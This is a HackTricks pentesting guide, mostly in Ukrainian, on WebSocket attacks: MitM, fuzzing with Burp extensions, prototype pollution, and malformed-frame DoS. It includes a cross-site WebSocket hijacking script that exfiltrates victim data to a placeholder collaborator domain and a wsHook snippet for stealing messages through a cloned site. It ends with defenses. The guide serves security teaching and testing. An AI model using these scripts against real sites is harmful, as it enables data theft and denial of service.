Атаки WebSocket

Reading time: 14 minutes

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks

Що таке WebSockets

WebSocket-з'єднання встановлюються через початкове HTTP рукопотискання і розраховані на довготривалу роботу, дозволяючи здійснювати двосторонній обмін повідомленнями в будь-який час без потреби в транзакційній моделі. Це робить WebSockets особливо корисними для застосунків, що потребують низької затримки або комунікації, ініційованої сервером, наприклад потокових даних фінансових ринків в реальному часі.

Встановлення WebSocket-з'єднань

Детальне пояснення щодо встановлення WebSocket-з'єднань доступне тут. У підсумку, WebSocket-з'єднання зазвичай ініціюються на стороні клієнта за допомогою JavaScript, як показано нижче:

javascript
var ws = new WebSocket("wss://normal-website.com/ws")

Протокол wss означає WebSocket-з'єднання, захищене за допомогою TLS, тоді як ws позначає незашифроване з'єднання.

Під час встановлення з'єднання виконується рукопотискання між браузером і сервером по HTTP. Процес рукопотискання передбачає, що браузер надсилає запит, а сервер відповідає, як показано в наведених прикладах:

Браузер надсилає запит рукопотискання:

javascript
GET /chat HTTP/1.1
Host: normal-website.com
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: wDqumtseNBJdhkihL6PW7w==
Connection: keep-alive, Upgrade
Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2
Upgrade: websocket

Відповідь сервера на handshake:

javascript
HTTP/1.1 101 Switching Protocols
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk=

Після встановлення з'єднання воно залишається відкритим для обміну повідомленнями в обох напрямках.

Ключові моменти WebSocket handshake:

  • Заголовки Connection та Upgrade сигналізують про початок WebSocket handshake.
  • Заголовок Sec-WebSocket-Version вказує бажану версію протоколу WebSocket, зазвичай 13.
  • У заголовку Sec-WebSocket-Key надсилається випадкове значення, закодоване в Base64, що гарантує унікальність кожного handshake і допомагає запобігти проблемам із кешуючими проксі. Це значення не призначене для аутентифікації, а підтверджує, що відповідь не згенерована неправильно налаштованим сервером або кешем.
  • Заголовок Sec-WebSocket-Accept у відповіді сервера є хешем від Sec-WebSocket-Key, що підтверджує намір сервера відкрити WebSocket-з'єднання.

Ці механізми забезпечують безпечний і надійний процес встановлення з'єднання, що створює підґрунтя для ефективної комунікації в реальному часі.

Консоль Linux

Ви можете використати websocat для встановлення сирого з'єднання з websocket.

bash
websocat --insecure wss://10.10.10.10:8000 -v

Або створити сервер websocat:

bash
websocat -s 0.0.0.0:8000 #Listen in port 8000

MitM websocket з'єднання

Якщо ви виявите, що клієнти підключені до HTTP websocket через вашу поточну локальну мережу ви можете спробувати ARP Spoofing Attack щоб виконати MitM attack між клієнтом та сервером.
Коли клієнт намагатиметься підключитися до вас, ви зможете використати:

bash
websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v

Перерахування Websockets

Ви можете використовувати інструмент https://github.com/PalindromeLabs/STEWS щоб автоматично виявляти, fingerprint і шукати відомі вразливості у websockets.

Інструменти налагодження Websocket

  • Burp Suite підтримує MitM websockets-комунікацію дуже схожим чином, як і для звичайного HTTP.
  • Розширення socketsleuth для Burp Suite дозволяє краще керувати Websocket-комунікаціями в Burp, отримуючи history, встановлюючи interception rules, використовуючи правила match and replace, а також Intruder і AutoRepeater.
  • WSSiP: Скорочення від "WebSocket/Socket.io Proxy". Цей інструмент, написаний на Node.js, надає інтерфейс користувача для capture, intercept, send custom повідомлень та перегляду всіх WebSocket і Socket.IO комунікацій між клієнтом і сервером.
  • wsreplinteractive websocket REPL, спроектований спеціально для penetration testing. Надає інтерфейс для спостереження за incoming websocket messages and sending new ones, з простим фреймворком для automating цієї комунікації.
  • https://websocketking.com/ — це веб-інструмент для спілкування з іншими вебсайтами, використовуючи websockets.
  • https://hoppscotch.io/realtime/websocket — серед інших типів комунікацій/протоколів, надає веб-інструмент для спілкування з іншими вебсайтами, використовуючи websockets.

Дешифрування Websocket

Лабораторія Websocket

У Burp-Suite-Extender-Montoya-Course є код для запуску веб-додатку, що використовує websockets, а в this post можна знайти пояснення.

Websocket Fuzzing

Розширення Burp Backslash Powered Scanner тепер дозволяє fuzz також WebSocket-повідомлення. Більше інформації можна прочитати тут.

WebSocket Turbo Intruder (розширення Burp)

WebSocket Turbo Intruder від PortSwigger додає Turbo Intruder–style Python скриптинг і high‑rate fuzzing до WebSockets. Встановіть його з BApp Store або з джерел. Він містить два компоненти:

  • Turbo Intruder: high‑volume messaging до одного WS endpoint із використанням custom engines.
  • HTTP Middleware: відкриває локальний HTTP endpoint, який пересилає тіла як WS‑повідомлення через постійне з'єднання, тож будь-який HTTP‑базований сканер може перевіряти WS бекенди.

Базовий шаблон скрипта для fuzzing WS endpoint і фільтрації релевантних відповідей:

python
def queue_websockets(upgrade_request, message):
connection = websocket_connection.create(upgrade_request)
for i in range(10):
connection.queue(message, str(i))

def handle_outgoing_message(websocket_message):
results_table.add(websocket_message)

@MatchRegex(r'{\"user\":\"Hal Pline\"')
def handle_incoming_message(websocket_message):
results_table.add(websocket_message)

Використовуйте декоратори на кшталт @MatchRegex(...), щоб зменшити шум, коли одне повідомлення викликає кілька відповідей.

Міст WS за HTTP (HTTP Middleware)

Огорніть постійне WS-з'єднання та пересилайте HTTP-тіла як WS-повідомлення для автоматизованого тестування за допомогою HTTP-сканерів:

python
def create_connection(upgrade_request):
connection = websocket_connection.create(upgrade_request)
return connection

@MatchRegex(r'{\"user\":\"You\"')
def handle_incoming_message(websocket_message):
results_table.add(websocket_message)

Потім надішліть HTTP локально; тіло пересилається як WS-повідомлення:

http
POST /proxy?url=https%3A%2F%2Ftarget/ws HTTP/1.1
Host: 127.0.0.1:9000
Content-Length: 16

{"message":"hi"}

Це дозволяє керувати WS-бекендами, одночасно фільтруючи “цікаві” події (наприклад, SQLi errors, auth bypass, command injection behavior).

Socket.IO обробка (handshake, heartbeats, events)

Socket.IO додає власну фреймінгову обгортку поверх WS. Виявляйте це за обов'язковим параметром запиту EIO (наприклад, EIO=4). Підтримуйте сесію живою за допомогою Ping (2) і Pong (3) та починайте розмову з "40", потім відправляйте події, наприклад 42["message","hello"].

Intruder example:

python
import burp.api.montoya.http.message.params.HttpParameter as HttpParameter

def queue_websockets(upgrade_request, message):
connection = websocket_connection.create(
upgrade_request.withUpdatedParameters(HttpParameter.urlParameter("EIO", "4")))
connection.queue('40')
connection.queue('42["message","hello"]')

@Pong("3")
def handle_outgoing_message(websocket_message):
results_table.add(websocket_message)

@PingPong("2", "3")
def handle_incoming_message(websocket_message):
results_table.add(websocket_message)

HTTP варіант адаптера:

python
import burp.api.montoya.http.message.params.HttpParameter as HttpParameter

def create_connection(upgrade_request):
connection = websocket_connection.create(
upgrade_request.withUpdatedParameters(HttpParameter.urlParameter("EIO", "4")))
connection.queue('40')
connection.decIn()
return connection

@Pong("3")
def handle_outgoing_message(websocket_message):
results_table.add(websocket_message)

@PingPong("2", "3")
def handle_incoming_message(websocket_message):
results_table.add(websocket_message)

Виявлення server‑side prototype pollution через Socket.IO

Дотримуючись безпечної методики виявлення PortSwigger, спробуйте викликати prototype pollution у внутрішніх структурах Express, відправивши payload, наприклад:

json
{"__proto__":{"initialPacket":"Polluted"}}

If greetings or behavior change (e.g., echo includes "Polluted"), you likely polluted server-side prototypes. Impact depends on reachable sinks; correlate with the gadgets in the Node.js prototype pollution section. See:

WebSocket race conditions with Turbo Intruder

The default engine batches messages on one connection (great throughput, poor for races). Use the THREADED engine to spawn multiple WS connections and fire payloads in parallel to trigger logic races (double‑spend, token reuse, state desync). Start from the example script and tune concurrency in config().

  • Learn methodology and alternatives in Race Condition (see “RC in WebSockets”).

WebSocket DoS: malformed frame “Ping of Death”

Craft WS frames whose header declares a huge payload length but send no body. Some WS servers trust the length and pre‑allocate buffers; setting it near Integer.MAX_VALUE can cause Out‑Of‑Memory and a remote unauth DoS. See the example script.

CLI and debugging

  • Headless fuzzing: java -jar WebSocketFuzzer-<version>.jar <scriptFile> <requestFile> <endpoint> <baseInput>
  • Enable the WS Logger to capture and correlate messages using internal IDs.
  • Use inc*/dec* helpers on Connection to tweak message ID handling in complex adapters.
  • Decorators like @PingPong/@Pong and helpers like isInteresting() reduce noise and keep sessions alive.

Operational safety

High‑rate WS fuzzing can open many connections and send thousands of messages per second. Malformed frames and high rates may cause real DoS. Use only where permitted.

Cross-site WebSocket hijacking (CSWSH)

Cross-site WebSocket hijacking, also known as cross-origin WebSocket hijacking, is identified as a specific case of Cross-Site Request Forgery (CSRF) affecting WebSocket handshakes. This vulnerability arises when WebSocket handshakes authenticate solely via HTTP cookies without CSRF tokens or similar security measures.

Attackers can exploit this by hosting a malicious web page that initiates a cross-site WebSocket connection to a vulnerable application. Consequently, this connection is treated as part of the victim's session with the application, exploiting the lack of CSRF protection in the session handling mechanism.

In order for this attack to work, these are the requirements:

  • The websocket authentication must be cookie based
  • The cookie must be accessible from the attackers server (this usually means SameSite=None) and no Firefox Total Cookie Protection enabled in Firefox and no blocked third-party cookies in Chrome.
  • The websocket server must not check the origin of the connection (or this must be bypasseable)

Also:

  • If the authentication is based on a local connection (to localhost or to a local network) the attack will be possible as no current protection forbids it (check more info here)

Simple Attack

Зверніть увагу, що під час встановлення websocket з'єднання cookie надсилається на сервер. server може використовувати його, щоб зв'язати кожного конкретного user з його websocket session based on the sent cookie.

Then, if for example the websocket server sends back the history of the conversation of a user if a msg with "READY" is sent, then a simple XSS establishing the connection (the cookie will be sent automatically to authorise the victim user) sending "READY" will be able to retrieve the history of the conversation.:

html
<script>
websocket = new WebSocket('wss://your-websocket-URL')
websocket.onopen = start
websocket.onmessage = handleReply
function start(event) {
websocket.send("READY"); //Send the message to retreive confidential information
}
function handleReply(event) {
//Exfiltrate the confidential information to attackers server
fetch('https://your-collaborator-domain/?'+event.data, {mode: 'no-cors'})
}
</script>

У цій публікації в блозі https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/ зловмисник зміг execute arbitrary Javascript in a subdomain домену, де відбувалася web socket communication. Оскільки це був subdomain, cookie відправлявся, а через те, що Websocket didn't check the Origin properly, стало можливим взаємодіяти з ним і steal tokens from it.

Викрадення даних користувача

Скопіюйте веб-застосунок, який ви хочете імітувати (наприклад, файли .html) і всередині скрипта, де відбувається websocket communication, додайте цей код:

javascript
//This is the script tag to load the websocket hooker
;<script src="wsHook.js"></script>

//These are the functions that are gonig to be executed before a message
//is sent by the client or received from the server
//These code must be between some <script> tags or inside a .js file
wsHook.before = function (data, url) {
var xhttp = new XMLHttpRequest()
xhttp.open("GET", "client_msg?m=" + data, true)
xhttp.send()
}
wsHook.after = function (messageEvent, url, wsObject) {
var xhttp = new XMLHttpRequest()
xhttp.open("GET", "server_msg?m=" + messageEvent.data, true)
xhttp.send()
return messageEvent
}

Тепер завантажте файл wsHook.js з https://github.com/skepticfx/wshook і збережіть його в папці з веб-файлами.
Розкривши веб-додаток і змусивши користувача підключитися до нього, ви зможете вкрасти відправлені та отримані повідомлення через websocket:

javascript
sudo python3 -m http.server 80

Захист від CSWSH

Атака CSWSH базується на тому, що користувач підключиться до шкідливої сторінки, яка відкриє websocket connection до веб-сторінки, де користувач вже автентифікований, і виконає автентифікацію від його імені, оскільки запит надішле cookies користувача.

На сьогодні це досить просто запобігти:

  • Websocket server checking the origin: websocket server повинен завжди перевіряти, звідки підключається користувач, щоб запобігти підключенню непередбачених сторінок.
  • Authentication token: Замість базування автентифікації на cookie, websocket connection може базуватися на токені, який генерується сервером для користувача і невідомий атакуючому (наприклад, як anti-CSRF token).
  • SameSite Cookie attribute: Cookies зі значенням SameSite Lax або Strict не будуть надсилатися зі сторінки зовнішнього атакувальника до сервера жертви, тому автентифікація на основі cookie не спрацює. Зауважте, що Chrome тепер встановлює значення Lax для cookie, якщо цей флаг не вказано, роблячи це більш безпечним за замовчуванням. Однак протягом перших 2 хвилин після створення cookie воно матиме значення None, що робить його вразливим у цей обмежений період часу (також очікується, що цей захід колись буде видалений).
  • Firefox Total Cookie Protection: Total Cookie Protection працює шляхом ізоляції cookie сайту, на якому вони створені. По суті, кожен сайт має власний розділ сховища cookie, щоб запобігти зв'язуванню історії перегляду користувача третіми сторонами. Це робить CSWSH unusable, оскільки сайт атакуючого не матиме доступу до cookie.
  • Chrome third-party cookies block: Це також може запобігти відправленню cookie автентифікованого користувача до websocket server навіть при SameSite=None.

Race Conditions

Race Conditions у WebSockets також трапляються, перегляньте цю інформацію, щоб дізнатися більше.

Інші вразливості

Оскільки Web Sockets — це механізм для надсилання даних на серверну та клієнтську частини, залежно від того, як сервер і клієнт обробляють інформацію, Web Sockets можуть бути використані для експлуатації інших вразливостей, таких як XSS, SQLi або будь-які інші поширені веб-вразливості, використовуючи введення користувача через websocket.

WebSocket Smuggling

Ця вразливість може дозволити вам bypass reverse proxies restrictions, змусивши їх повірити, що websocket communication was stablished (навіть якщо це не так). Це може дозволити атакуючому access hidden endpoints. Для детальнішої інформації перегляньте наступну сторінку:

Upgrade Header Smuggling

Посилання

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks